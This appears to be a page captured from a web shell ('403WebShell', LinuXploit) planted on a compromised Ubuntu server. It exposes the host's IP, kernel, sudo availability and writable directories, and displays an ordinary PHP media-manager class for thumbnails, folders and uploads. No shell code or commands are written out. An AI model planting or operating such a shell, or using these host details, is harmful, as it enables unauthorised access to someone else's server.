Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/mediaManager/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/mediaManager/model/mediamanager_model.php
<?php

// no database access for this one

class MediaManagerModel extends Model {

	protected $source = 'storage/images';
	protected $thumbs = 'storage/thumbnails';
	public  $NODE;
	private $elements;	// location of image on filesystem
	private $assetTree = [];
	private $includeThumb = FALSE;

	static
	public function createThumbnail($data, $thumbsize_wd = 98) {
		$thumbsize_ht = $thumbsize_wd / 1.3425;
		// load image
//		$fp = fopen('/phil/image', 'w');
//		fwrite($fp, $data);
//		fclose($fp);
		$img = imagecreatefromstring($data);
		if ($img === FALSE) return '';
		
		$wd = imagesx($img);
		$ht = imagesy($img);
		if ($wd >= $ht) {
			$thumb_wd = $thumbsize_wd;
			$thumb_ht = $thumb_wd * $ht / $wd;
		} else {
			$thumb_ht = $thumbsize_ht;
			$thumb_wd = $thumb_ht * $wd / $ht;
		}
		// resize to fit
		$thumb = imagecreatetruecolor($thumb_wd, $thumb_ht);
		imagecopyresampled($thumb, $img, 0, 0, 0, 0, $thumb_wd, $thumb_ht, $wd, $ht);
		
		ob_start();
		imagejpeg( $thumb, NULL, 75 );
		$data = ob_get_clean();
		imagedestroy($img);
		return $data;
	}

	static
	public function getDirectory($directory) {
		foreach($directory as &$element) {
			$element = rawurldecode($element);
			$element = trim(str_replace(['..', '\\', ';', '<', '>', '&', '/', '|'], '', $element));
		}
		return join('/', $directory);
	}

	public function LoadAssets() {
		$assets = hook_execute('mediamanager.assets', []);
		foreach($assets as $asset) {
			$this->includeVirtualAsset($asset);
		}
		return $this;
	}

	private function _displayEntry($entry) {
		$function = $entry['function'];
		if (!empty($entry['class'])) $function = $entry['class'] . '::' . $function;
		$file = $entry['file'] ?? '';
		$line = $entry['line'] ?? '';
		echo $function . " [{$file}:{$line}]<br>\n";
	}
	
	protected function source($hash) {
		if (is_array($hash)) {
			$bt = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
			foreach($bt as $bt_item) {
				echo $this->_displayEntry($bt_item);
			}
			die("Source should not be an array\n");
		}
		return HOME . '/' . $this->source . '/' . $hash;
	}
	
	public function BaseFolder() {
		if (func_num_args()) {
			$this->source = trim(trim(func_get_arg(0), '/'));
			return $this;
		}
		return $this->source;
	}
	public function ThumbFolder() {
		if (func_num_args()) {
			$this->thumbs = trim(trim(func_get_arg(0), '/'));
			return $this;
		}
		return $this->thumbs;
	}

	public function IncludeThumb() {
		if (func_num_args()) {
			$this->includeThumb = func_get_arg(0);
			return $this;
		}
		return $this->includeThumb;
	}
	
	public function Filename() {
		if (func_num_args()) {
			$param = func_get_arg(0);
			$loadcontent = (func_num_args() > 1) ? func_get_arg(1) : 0;
			if (is_string($param)) {
				$param = trim(trim(func_get_arg(0), '/'));
				$param = explode('/', $param);
			}
			foreach($param as &$element) {
				$element = rawurldecode($element);
			}
			
			// get the node
			$this->NODE = $this->getNodeFromPath($param, $loadcontent);
			if (is_null($this->NODE)) {
				$this->elements = [];
			} else {
				$this->elements = $param;
			}
			return $this;
		}
		return join('/', $this->elements);
	}

	public function loadThumbnail($basename, $thumbsize, $refresh = 0) {
		$filename = HOME . '/' . $this->thumbs . '/' . $basename . '-' . $thumbsize;
		if (!file_exists($filename) || $refresh) {
			// create a thumbnail from an image
			$original = $this->source($basename);
			$source = file_get_contents($original);
			// to do: create subfolder, if required
			$data = static::createThumbnail($source, $thumbsize);
			file_put_contents($filename, $data);
		} else {
			$data = file_get_contents($filename);
		}
		return 'data:image/jpeg;base64,'.base64_encode($data);
	}
	
	protected function getIconFromMimetype($mime) {
		
		// List of official MIME Types: http://www.iana.org/assignments/media-types/media-types.xhtml
		$icon_classes = [
			// Folder
			'directory'					=> 'far fa-folder',
			// Media
			'image' 					=> 'far fa-image',
			'audio'						=> 'far fa-file-audio',
			'video'						=> 'far fa-file-video',
//			'image/jpeg'				=> '',
//			'image/png'					=> '',
//			'image/svg'					=> '',
			// Documents
			'application/pdf'			=> 'far fa-file-pdf',
			'application/msword'		=> 'far fa-file-word',
			'application/vnd.ms-word'	=> 'far fa-file-word',
			'application/vnd.oasis.opendocument.text' => 'far fa-file-word',
			'application/vnd.openxmlformats-officedocument.wordprocessingml' => 'far fa-file-word',
			'application/vnd.ms-excel'	=> 'far fa-file-excel',
			'application/vnd.openxmlformats-officedocument.spreadsheetml' => 'far fa-file-excel',
			'application/vnd.oasis.opendocument.spreadsheet' => 'far fa-file-excel',
			'application/vnd.ms-powerpoint' => 'far fa-file-powerpoint',
			'application/vnd.openxmlformats-officedocument.presentationml' => 'far fa-file-powerpoint',
			'application/vnd.oasis.opendocument.presentation' => 'far fa-file-powerpoint',
			'text/plain'				=> 'far fa-file-alt',
			'text/html'					=> 'far fa-file-code',
			'application/json'			=> 'far fa-file-code',
			// Archives
			'application/gzip'			=> 'far fa-file-archive',
			'application/zip'			=> 'far fa-file-archive',
		];
		[$type, $subtype] = explode('/', $mime, 2);
		if (isset($icon_classes[$mime])) return $icon_classes[$mime];
		if (isset($icon_classes[$type])) return $icon_classes[$type];
		return 'far fa-file';
	}

	public function filesize_formatted($size) {
		if ($size < 1024) {
			return ($size + 0) . 'B';
		}
		$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
		$power = $size > 0 ? floor(log($size, 1024)) : 0;
		return number_format($size / pow(1024, $power), 2, '.', ',') . $units[$power];
	}
	
	public function UpdateImageData(&$imagelist) {
		foreach($imagelist as &$image) {
			$mime = $image['mime'];
			if (($p = strpos($mime, ';')) !== FALSE) {
				$mime = trim(substr($mime, 0, $p));
			}
			
			[$type, $subtype] = explode('/', $mime, 2);
			$image['icon'] = $this->getIconFromMimetype($mime);
			$filename = isset($image['path']) ? $image['path'] : $image['hash'];
			if ($type == 'image') {
				// svg thumb?
				if ($mime == 'image/x-icon' || $mime == 'image/vnd.microsoft.icon') {
					$source = HOME . '/' . $this->source . '/' . $filename ;
					$image['thumb'] = 'data:image/vnd.microsoft.icon;base64,' . base64_encode(file_get_contents($source));
				} elseif (substr($mime, 0, 9) != 'image/svg') {		// image/svg+xml or image/svg
					$image['thumb'] = $this->loadThumbnail($filename, 277);
				}
			}
			$image['dir']	   = $mime == 'directory' ?  1 : 0;
			if (!array_key_exists('filesize', $image)) {
				$stat = stat($this->source($filename));
				$image['filesize'] = $stat['size'];
				$image['dt']	   = $stat['mtime'];
			}
			$image['datetime'] = gmdate('Y-m-d', $image['dt']);
			$image['size'] 	   = $this->filesize_formatted($image['filesize']);
		}
	}
	
	public function getFolderContents($relative_folder = '') {
		$relative_folder = trim($relative_folder, '/');
		if ($relative_folder != '') $relative_folder .= '/';

		$data = [];
		$files = glob($this->source($relative_folder . '*'));
		foreach($files as $index => $file) {
			$node = $this->nodeAsFilename($file, $relative_folder);
			$node['id'] = $index;
			$node['order'] = $index + 1;
			$data[] = $node;
		}
		// add in assets
		$readonly = 0;
		$this->addVirtualAssets($data, $relative_folder, $readonly);
		return [
			'data' => $data,
			'readonly' => $readonly,
		];
	}
	
	function nodeAsFilename($filename, $relative_folder = '', $mimetype = '') {
		$base = $this->source($relative_folder);
		$relative = ltrim(str_replace($base, '', $filename), '/');
		if ($relative != '') $relative = '/' . $relative;
		$basename = str_replace('//', '/', $relative_folder . $relative);
		if ($basename[0] != '/') $basename = '/' . $basename;
		// get filename and mimetype
		$authhash = md5('media:' . $basename);
		$node = [
			'hash'		=> sha1($basename),
			'path'		=> $basename,
			'filename' 	=> pathinfo($filename, PATHINFO_BASENAME),
			'mime'		=> $mimetype,
			'uri'		=> '/~/mediaManager/image' . $basename,
			'auth'		=> hook_execute('nonce.create', FALSE, 'mediaitm', $authhash, 1800),
			'source'	=> $filename,
		];
		if ($mimetype == '') {
			$node['mime'] = $this->_getMimeType($filename);
			if (substr($node['mime'], 0, 9) == 'image/svg') {
				$node['svg'] = file_get_contents($filename);
			}
		}
		return $node;
	}
	
	
	public function createFolder($parent, $folder) {
		if ($folder == '' || $folder == '.' || $folder == '..') {
			return 'invalid or missing name';
		}
		$fullname = $parent == '' ? $folder : $parent . '/' . $folder;		// relative to Source
		$fullname = $this->source($fullname);
		mkdir($fullname, 0777);
		return TRUE;
	}
	
	public function uploadFile($directory, $temp_name, $originalname, $param = []) {
		// save to filesystem
		$info = pathinfo($originalname);
		$basename = $info['basename'];
		switch(strtolower($info['extension'])) {
			case 'sh':
			case 'php':
			case 'py':
			case 'pyc':
				$basename .= '.txt';
				break;
		}
		if ($directory != '') $directory .= '/';

		// send message to database
		$node = [
			'hash'		=> md5_file($temp_name),
			'name'		=> $originalname,
			'folder'	=> $directory,
			'mime'		=> mime_content_type($temp_name),
			'target'	=> $basename,
		];
		if (substr($node['mime'], 0, 6) == 'image/') {		// add image dimensions. but not svg
			if (($info =  getimagesize($temp_name)) !== FALSE) {
				$node['width'] = $info[0];
				$node['height'] = $info[1];
			}
		}
		$node = hook_execute('mediamanager.update', $node, $param);
		$target = $this->source($directory . $node['target']);
		copy($temp_name, $target);
		$target = HOME . '/' . $this->thumbs . '/' . $directory . $basename;

		$info = pathinfo($target);
		@mkdir($info['dirname'], 0777, TRUE);		// make a thumbnail folder, the actual thumbnail is created when needed
		return $node;
	}
	
	// this will do a json call
	private function _getContextMenu_link($node, $action) {
		if ($action == 'download') {
			return '/~/mediamanager/image' . $node['path'] . '?alt=media';
		} else {
			return '/~/mediamanager/act/' . $action .$node['path'] . '?auth=' . $node['auth'];
		}
	}
		
	private function getNodeFromPath($directory, $include_data = FALSE) {
		if (is_array($directory)) {
			$direlements = $directory;
		} else {
			$direlements = explode('/', $directory);
		}
		$elements = $direlements;
		array_unshift($elements, '@');
		$current = $this->assetTree;
		
		// check for virtual folders
		$isFolder = 0;
		$virtual = NULL;
		foreach($elements as $index => $element) {
			if (isset($current[$element])) {
				if (is_object($current[$element])) {
					
					$virtual = $current[$element];			// this is the archive
					$virtual->relativeFolder = join('/', array_slice($elements, 1, $index - 1));
					$virtual->filename = $element;
					$elements = array_slice($elements, $index + 1);
					$isFolder = 0;
					break;
					
				} elseif (is_array($current[$element])) {
					$current = $current[$element];
					$isFolder = 1;
				}
			} else {
				
				$isFolder = 0;								// not within the virtual
				break;
			}
		}
		
		if ($isFolder) {
			$elements = $direlements;
			$filename = array_pop($elements);					// this will be the basename
			$relative_folder = join('/', $elements);
			$filename = join('/', $direlements);
			return $this->nodeAsFilename($filename, $relative_folder, 'directory');
		}
		
		if (!is_null($virtual)) {
			return $this->getNodeFromVirtualFile($virtual, $elements, $include_data);
		}
		
		// do we have a virtual folder or archive?
			// this will be readonly
		
		// no - its a file on the filesystem:
		$elements = $direlements;
		$filename = array_pop($elements);					// this will be the basename
		$relative_directory = join('/', $elements);
		$filename = $this->source(join('/', $direlements));
		$node = $this->nodeAsFilename($filename, $relative_directory);

		if ($filename != '' && file_exists($filename)) {
			$node['mime'] = $this->_getMimeType($filename);
			if (($include_data || $this->includeThumb === 2) && (filesize($filename) < 8388608)) $node['data'] = file_get_contents($filename);
			if (substr($node['mime'], 0, 6) == 'image/' && substr($node['mime'], 0, 9) != 'image/svg' ) {
				// get image dimensions
				$size = getimagesize($filename);
				$node['dimensions'] = [ $size[0], $size[1] ];
			}			
		}
		return $node;
	}
	
	private function _getMimeType($filename) {
		if (is_dir($filename)) return 'directory';
		$finfo = new \finfo(FILEINFO_MIME_TYPE);
		$fp = @fopen($filename, 'rb');
		$content = @fread($fp, 8388608);
//		$content = file_get_contents($filename);	// not for mp4 files :)
		$mimeType = $finfo->buffer($content);
		return $mimeType;
	}
	
	private function _getNode() {
		$list = [$this->NODE];
		$list = hook_execute('mediamanager.validate', $list);
		return array_pop($list);
	}
	
	public function getContextMenu($offset = 0, $select = 0, $default = 0) {

		$node = $this->_getNode();

		$readonly = $node['readonly'] ?? 0;
		$filename = $node['source'] ?? '';
		
		$output = [];
		if ($node['dir']) {
			$output[] = [ 'name' => 'Open', 			'icon' => $node['icon'], 		'href' => $this->_getContextMenu_link($node, 'open'),	 'className' => 'default', 'action' => 'open' ];
		} elseif ($select) {
			$entry = [ 
				'name'		=> 'Select',
				'icon'		=> 'fas fa-map-marker-alt',
				'href'		=> $this->_getContextMenu_link($node, 'select'), 
				'className'	=> 'default bind-select', 
				'action'	=> 'select',
			];
			if (isset($node['svg'])) {
				$entry['svg'] = $node['svg'];
			} elseif (isset($node['thumb'])) {
				$entry['thumb'] = $node['thumb'];
			}
			$output[] = $entry;
		} else {
			$output[] = [ 'name' => 'Preview', 			'icon' => 'fas fa-eye', 			'href' => $this->_getContextMenu_link($node, 'preview'), 'className' => 'default', 'action' => 'preview' ];
		}
			
		if (!$default) {
			if (!$node['dir']) {
				$output[] = [ 'name' => 'Download', 		'icon' => 'fas fa-download', 	'href' => $this->_getContextMenu_link($node, 'download') ];
			}
			$output[] = [ 'name' => 'Show URL', 			'icon' => 'fas fa-globe',	 	'href' => $this->_getContextMenu_link($node, 'url'), 'className' => 'json' ];
			if (!$readonly) {
				$output[] = [ 'name' => 'Rename', 			'icon' => 'fas fa-i-cursor', 	'href' => $this->_getContextMenu_link($node, 'ren'), 'className' => 'json' ];
				$output[] = [ 'name' => 'Cut',		 		'icon' => 'fas fa-cut',		 	'href' => $this->_getContextMenu_link($node, 'cut'), 'className' => 'json' ];
			}
			$output[] = [ 'name' => 'Copy', 				'icon' => 'far fa-copy',	 	'href' => $this->_getContextMenu_link($node, 'copy'), 'className' => 'json' ];
			if (!$readonly) {
				$output[] = [ 'name' => 'Paste', 			'icon' => 'fas fa-paste',	 	'href' => $this->_getContextMenu_link($node, 'paste'), 'className' => 'json' ];
				$output[] = [ 'name' => 'Permissions',		'icon' => 'fas fa-tasks',	 	'href' => $this->_getContextMenu_link($node, 'perm'), 'className' => 'json' ];
			}
			$output[] = '---------';
			// file info ~ name ~ dimenions ~ date
			$output[] = [ 'name' => 'File Info', 			'icon' => 'far fa-list-alt' , 	'className' => 'smallcap'];
			if (substr($node['mime'], 0, 6) == 'image/' && substr($node['mime'], 0, 9) != 'image/svg' ) {
				// get image dimensions
				$size = getimagesize($filename);
				$output[] = [ 'name' => $size[0] . 'px × ' . $size[1] . 'px',	'icon' => 'fas fa-ruler-combined' ];
			}
	//		$output[] = [ 'name' => 'Video Length', 		'icon' => 'fas fa-tape' ];
			$output[] = [ 'name' => $node['size'], 			'icon' => 'fas fa-tape' ];
			
			$date	= gmdate('Y-m-d g:ia', $node['dt'] - ($offset * 60));
			$output[] = [ 'name' => $date, 				'icon' => 'far fa-calendar-alt' ];
			}
		
		return $output;
	}
	
	public function contextUrl($hostname) {
		$node = $this->_getNode();
		return [
			'popup' => [
				'title'		=> 'Link to Media',
				'template'	=> 'mediamanager_showurl',
				'modal' 	=> TRUE,
				'width' 	=> 900,
				'url'		=> $hostname . '/~/mediamanager/image/' . $this->Filename(),
				'actions'	=> [
					[
						'data-action' 	=> 'cancel',
						'text'			=> 'Close',
					],
				],
			],
		];
	}
	
	public function contextRename() {
		$node = $this->_getNode();
		return [
			'popup' => [
				'title'		=> 'Rename File',
				'template'	=> 'mediamanager_rename',
				'modal' 	=> TRUE,
				'width' 	=> 900,
				'path'		=> $this->Filename(),
				'file'		=> $node['filename'],
				'auth'		=> $node['auth'],
				'hash'		=> $node['hash'],
				'actions'	=> [
					[
						'data-action' 	=> 'submit',
						'text'			=> 'Rename',
					],
				],
			],
		];
	}
	
	public function performRename( $newname, $hash) {
		$node = $this->_getNode();

		// if the new file exists - give error
		$directory = $this->Filename();
		$elements = explode('/', $directory);
		array_pop($elements);
		$relative_directory = join('/', $directory);
		$newfolder = $this->source($relative_directory . '/' . $newname);
		if (file_exists($newfolder)) {
			return [
				'result' => 93300,
				'message' => 'Unable to rename: Target file already exists',
			];
		}
		$from = $this->source($directory);
		rename($from, $newfolder);
		// remove thumbname file
		
		// return new entry, re-sort
		$this->Filename($relative_directory . '/' . $newname);
		$node = $this->_getNode();
		return [
			'html' => [
				[
					'field' => $hash,
					'value' => 'nothing to see here',
				],
			],
			'x' => '12345',
		];
	}
	
	// add the asset to the asset tree
	public function includeVirtualAsset($asset) {
		$path = explode('/', trim($asset->mount, '/'));
		array_unshift($path, '@');

		$last = count($path) - 1;
		$node = &$this->assetTree;
		foreach($path as $index => $element) {
			$islast = $index == $last;
			if ($islast) {
				$temp = clone $asset;
				unset($temp->mount);
				$ext = strtolower(pathinfo($temp->archive, PATHINFO_EXTENSION));
				if ($ext == 'zip' || $ext == 'gzip' || $ext == 'bzip' || $ext == 'gz' || $ext == 'tar' || $ext == '7z') {
					$temp->mime = 'directory';		// should be compressed directory
				}
				$node[$element] = $temp;
			} else {
				if (!isset($node[$element])) {
					$node[$element] = [];
				}
				$node = &$node[$element];
			}
		}
	}
	
	private function _folderExists($data, $filename) {
		foreach($data as $entry) {
			if ($entry['filename'] == $filename) return TRUE;
		}
		return FALSE;
	}


	private function listVirtualFileContents_add(&$filetree, $elements, $index) {
		$filename = array_pop($elements);
		$node = &$filetree;
		foreach($elements as $element) {
			if (!isset($node[$element])) {
				$node[$element] = [];
			}
			$node = &$node[$element];
		}
		$node[$filename] = $index;
	}
	
	private function listVirtualFileContents_locate($filetree, $subpath) {
		array_unshift($subpath, '@');
		$node = &$filetree;
		foreach($subpath as $element) {
			if (!isset($node[$element])) return NULL;
			$node = &$node[$element];
		}
		return $node;
	}
	
	private function listVirtualFileContents_icon($content, &$orientation) {
		if (preg_match('~viewBox="(.*?)"~', $content, $match)) {
			[$left, $top, $bottom, $right] = explode(' ', trim(preg_replace('/\s+/', ' ',$match[1])));
			$width = $right - $left;
			$height = $bottom - $top;
			$orientation = $width > $height ? 'portrait' : 'landscape';
		}
		// <path fill="#1A1918" d=""
		
		return $content;
		return 'data:image/svg+xml;base64,' . base64_encode($content);
	}

	private function extensionToMime($ext) {
		switch($ext) {
			case 'jpg':
			case 'jpeg':
				$mime = 'image/jpeg';
				break;

			case 'ico':
				$mime = 'image/vnd.microsoft.icon';
				break;

			case 'png':
				$mime = 'image/png';
				break;

			case 'svg':
				$mime = 'image/svg+xml';
				break;
				
			default:
				$mime = 'text/plain';
				break;
				
		}
		return $mime;
	}
	
	// list files within a folder within the archive
	private function listVirtualFileContents(&$data, $node, $subpath, $basepath) {

		$zip = new ZipArchive;
		$zip->Open($node->archive);
		// load zip File
		$filetree = [];
		for ($i = 0; $i < $zip->numFiles; $i++) {
			$name = $zip->getNameIndex($i);
			if (substr($name, -1, 1) != '/') {
				$elements = explode('/', $name);
				array_unshift($elements, '@');
				$this->listVirtualFileContents_add($filetree, $elements, $i);
			}
		}
		
		$relative_folder = '';
		$current = $this->listVirtualFileContents_locate($filetree, $subpath);
		// we have some items in this virtual archive folder
		if (!is_null($current)) {
			foreach($current as $filename => $entry) {
				if (is_array($entry)) {
					$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
					$index = count($data);
					$node['id'] = $index;
					$node['order'] = $index + 1;
					$data[] = $node;
				} elseif (is_numeric($entry)) {
					$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
					$mime = $this->extensionToMime($ext);
					$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, $mime);
					$index = count($data);
					$node['id'] = $index;
					$node['order'] = $index + 1;
					if (substr($mime, 0, 9) == 'image/svg') {
						// add svg thumbnails to recognized images
						$orientation = '';
						$content = $zip->getFromIndex($entry);
						$node['svg'] = $this->listVirtualFileContents_icon($content, $orientation);
						$node['orientation'] = $orientation;
					}
					
					$stat = $zip->statIndex($entry);
					$node['filesize'] = $stat['size'];
					$node['dt'] = $stat['mtime'];
					$data[] = $node;
					// get mime type based on extension
				}
			}
		}
		$zip->Close();
	}
	
	private function addVirtualAssets(&$data, $relative_folder, &$readonly) {
		if ($relative_folder != '') {
			$path = explode('/', trim($relative_folder, '/'));
		} else {
			$path = [];
		}
		array_unshift($path, '@');
		$node = $this->assetTree;
		$subpath = [];
		$basepath = $this->source($relative_folder);
		
		foreach($path as $index => $element) {
			if (isset($node[$element])) {
				$node = $node[$element];
				if (is_object($node)) {
					// remaining path elements are within the archive
					$subpath = array_slice($path, $index + 1);
					$readonly = 1;
					return $this->listVirtualFileContents($data, $node, $subpath, $basepath);
				}
			} else {
				return;	// no virtual icons for the specified relative folder
			}
		}

		foreach($node as $filename => $info) {
			if (is_object($info)) {			// we have a compressed file
					$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
					$index = count($data);
					$node['id'] = $index;
					$node['order'] = $index + 1;
					$data[] = $node;
			} elseif (is_array($info)) {	// we have a folder
				// only add it if the folder is not already listed:
				if (!$this->_folderExists($data, $filename)) {
					$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
					$index = count($data);
					$node['id'] = $index;
					$node['order'] = $index + 1;
					$data[] = $node;
				}
			
			}
		}
		// locate the folder within $this->assetTree
		// return if missing
	}

	private function getNodeFromVirtualFile($node, $elements, $include_data = FALSE) {
		$path = join('/', $elements);
		$relative_folder = $node->relativeFolder;
		$filename = $node->filename;
		$basepath = $this->source($relative_folder);
		if ($path == '') {
			$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
			$node['readonly'] = 1;
			return $node;
		}
		$zip = new ZipArchive;
		$zip->Open($node->archive);

		// is it a folder
		$content = $zip->getFromName($path . '/');
		$content2 = $zip->getFromName($path);
		if ($content !== FALSE) {		// yes, a Folder

			$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
			$node['dir'] = 1;
			$node['readonly'] = 1;

		} elseif ($content2 !== FALSE) {		// yes, a file

			$stat = $zip->statName($path);
			$filename = array_pop($elements);
			$path = join('/', $elements);
			if ($path != '') $path = '/' . $path;
			$relative_folder .= '/' . $node->filename . $path . '/';
			$basepath = $this->source($relative_folder);
			
			$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
			$mime = $this->extensionToMime($ext);
			$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, $mime);
			if ($include_data) $node['data'] = $content2;
			$node['readonly'] = 1;
			$node['filesize'] = $stat['size'];
			$node['dt'] = $stat['mtime'];
			if (substr($mime, 0, 9) == 'image/svg' && $this->includeThumb) {			// for the thumbnail
				$orientation = '';											// add svg thumbnails to recognized images
				$node['svg'] = $this->listVirtualFileContents_icon($content2, $orientation);
				$node['orientation'] = $orientation;
			}

		} else {

			$node = NULL;

		}
		
		$zip->Close();
		return $node;
	}
	
	public function contextDuplicate() {
	}
	
	public function listImages($folder) {
		$contents = $this->getFolderContents($folder);
		$output = [];
		foreach($contents['data'] as $item) {
			$output[] = [
				'key'	=> $item['path'],
				'value'	=> $item['filename'],
				'uri'	=> $item['uri'],
			];
		}
		return $output;
	}
	

}

Youez - 2016 - github.com/yon3zu
LinuXploit